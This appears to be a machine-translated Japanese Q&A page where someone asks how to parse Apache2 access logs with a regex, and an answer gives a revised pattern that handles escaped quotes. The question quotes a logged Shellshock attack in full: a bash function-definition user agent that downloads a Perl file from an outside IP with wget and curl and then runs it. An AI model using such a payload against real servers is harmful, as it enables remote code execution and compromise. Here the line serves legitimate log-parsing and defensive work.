0

Apache2 ログ ファイルを解析したいのですが、以下の正規表現を使用して、それ以外の場合は適切な正規表現をここで見つけました。

/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/

問題は、この正規表現が shellshock ハック ボットよりも前のものであり、文字列が以下に送信されたようなユーザー エージェント文字列に対して一致を返さないことです。

bash 攻撃の悪い例:

199.217.117.211 - - [18/Jan/2015:04:51:19 -0500] "GET /cgi-bin/help.cgi HTTP/1.0" 404 498 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://185.28.190.69/mc;curl -O http://185.28.190.69/mc;perl mc;perl /tmp/mc\""

通常のログ行は次のとおりです。

157.55.39.0 - - [18/Jan/2015:09:32:37 -0500] "GET / HTTP/1.1" 200 37966 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"

誰かがハッキングされたユーザー エージェント文字列を処理する更新された正規表現を提供できますか、または代替の 2 ステップの php - regexp をよりハッキングの証拠にすることを提案できますか? 特定の問題は \" の処理に関連していることがわかり、最後の正規表現は "(.*)"$ に置き換えることができるようですが、専門家の意見が欲しいです...ありがとう。

4

1 に答える 1

0

の両方のインスタンスを変更します

"([^"]*)"

"((?:[^"]|\\")*)"

\"これにより、引用符で囲まれた文字列内が許可されます。

ちなみに、正規表現で引用符をバックスラッシュでエスケープする必要はありません]。また、クラスの最初の文字である文字クラスでバックスラッシュでエスケープする必要もありません。したがって、冗長なバックスラッシュをいくつか削除できます。そして個人的には、貪欲でない一致ではなく、同じ引用除外構文を使用します。

最後に、コメントに見られるように、リクエストが不完全な場合、リクエストの解析は失敗します。未完了の要求行がインジケータの欠落 ( ) だけである場合は、ほとんどの要求をオプションにして、「メソッド」の"-"ままにすることで、これらを認識することができます。-

したがって、次のことをお勧めします。

/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^]]+)\] "(\S+)(?: ((?:[^"]|\\")*) (\S+))?" (\S+) (\S+) "((?:[^"]|\\")*)" "((?:[^"]|\\")*)"$/
于 2015-01-23T18:24:24.183 に答える